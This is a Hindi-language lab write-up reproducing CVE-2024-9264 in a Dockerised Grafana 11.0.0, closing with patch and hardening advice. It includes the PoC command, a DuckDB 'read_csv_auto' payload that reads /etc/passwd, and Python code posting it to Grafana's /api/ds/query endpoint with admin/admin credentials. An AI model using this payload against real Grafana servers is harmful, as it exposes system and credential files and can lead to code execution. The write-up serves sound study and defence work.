
संदर्भ दस्तावेज़ https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| आइटम | विवरण |
|---|---|
| CVE | CVE-2024-9264 |
| लक्ष्य | Grafana (SQL Expressions) |
| प्रभाव | Local File Inclusion (LFI), Remote Code Execution (RCE) |
| गंभीरता | Critical (CVSS 9.9) |
| हमले की शर्त | प्रमाणित उपयोगकर्ता (Admin अधिकार) |
| हमले का तरीका | SQL Expression सुविधा का दुरुपयोग करके DuckDB SQL निष्पादित करना |
Grafana एक ओपन-सोर्स मॉनिटरिंग टूल है जो सर्वर, एप्लिकेशन, डेटाबेस आदि के विभिन्न डेटा को आसानी से देखने योग्य ग्राफ़ या डैशबोर्ड के रूप में विज़ुअलाइज़ करता है।
CVE-2024-9264, Grafana की SQL Expressions सुविधा में उत्पन्न होने वाली भेद्यता है।
Grafana आंतरिक रूप से उपयोग होने वाले DuckDB SQL का उचित रूप से सत्यापन नहीं करता है, जिससे हमलावर SQL Expression के माध्यम से मनमाना DuckDB SQL निष्पादित कर सकता है।
इसका उपयोग करके निम्नलिखित संभव है:
आदि।
इस अभ्यास में, Docker वातावरण में Grafana 11.0.0 चलाने के बाद PoC का उपयोग करके /etc/passwd फ़ाइल को पढ़ने के तरीके से भेद्यता को पुनः प्रस्तुत किया गया।
| घटक | विवरण |
|---|---|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Grafana चालू होने की पुष्टि करें
http://localhost:3000

Grafana के डिफ़ॉल्ट खाते की जानकारी निम्नलिखित है।
ID : admin
PW : admin
भेद्यता उत्पन्न होने के लिए निम्नलिखित शर्तें पूरी होनी चाहिए।
इस अभ्यास में डिफ़ॉल्ट व्यवस्थापक (admin/admin) खाते का उपयोग किया गया।
PoC चलाना
लोकल फ़ाइल पढ़ने के लिए निम्नलिखित कमांड चलाई गई।
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
PoC निम्नलिखित SQL Expression उत्पन्न करता है।
SELECT * FROM read_csv_auto('/etc/passwd')
इसे Grafana के /api/ds/query API के माध्यम से भेजा जाता है।
Grafana ने SQL को वैसे ही निष्पादित करते हुए /etc/passwd की सामग्री को प्रतिक्रिया के रूप में लौटाया।

/etc/passwd फ़ाइल के अलावा अन्य फ़ाइलें भी देखी जा सकती हैं।

इसके माध्यम से पुष्टि हुई कि Local File Inclusion सफलतापूर्वक निष्पादित हुई।
PoC Python में लिखा गया है और निम्नलिखित प्रक्रिया निष्पादित करता है।
/api/ds/query) को कॉल करनाफ़ाइल पढ़ते समय उत्पन्न होने वाला SQL निम्नलिखित है।
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
API अनुरोध निम्नलिखित रूप से निष्पादित होता है।
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
इसे curl कमांड के माध्यम से भी देखा जा सकता है।

सबसे प्रभावी उपाय भेद्यता को ठीक करने वाले नवीनतम संस्करण में अपडेट करना है।
अनावश्यक SQL Expression सुविधा को अक्षम करें या न्यूनतम विशेषाधिकार सिद्धांत लागू करके उपयोग की सीमा को प्रतिबंधित करें।
Docker वातावरण में Grafana 11.0.0 स्थापित करने के बाद CVE-2024-9264 भेद्यता को पुनः प्रस्तुत किया गया।
Python में लिखे गए PoC का उपयोग करके SQL Expression सुविधा का दुरुपयोग करते हुए /etc/passwd फ़ाइल को पढ़ने में सफलता मिली। इसके माध्यम से यह पुष्टि हुई कि SQL Expression के इनपुट सत्यापन की कमी होने पर संवेदनशील फ़ाइलें उजागर हो सकती हैं, और पर्यावरण के आधार पर यह रिमोट कोड निष्पादन (RCE) तक भी पहुँच सकता है। इस प्रकार की भेद्यता को नवीनतम संस्करण में अपडेट, SQL Expression सुविधा को सीमित करने, और व्यवस्थापक खाते की सुरक्षा जैसे सुरक्षा उपायों के माध्यम से रोका जा सकता है।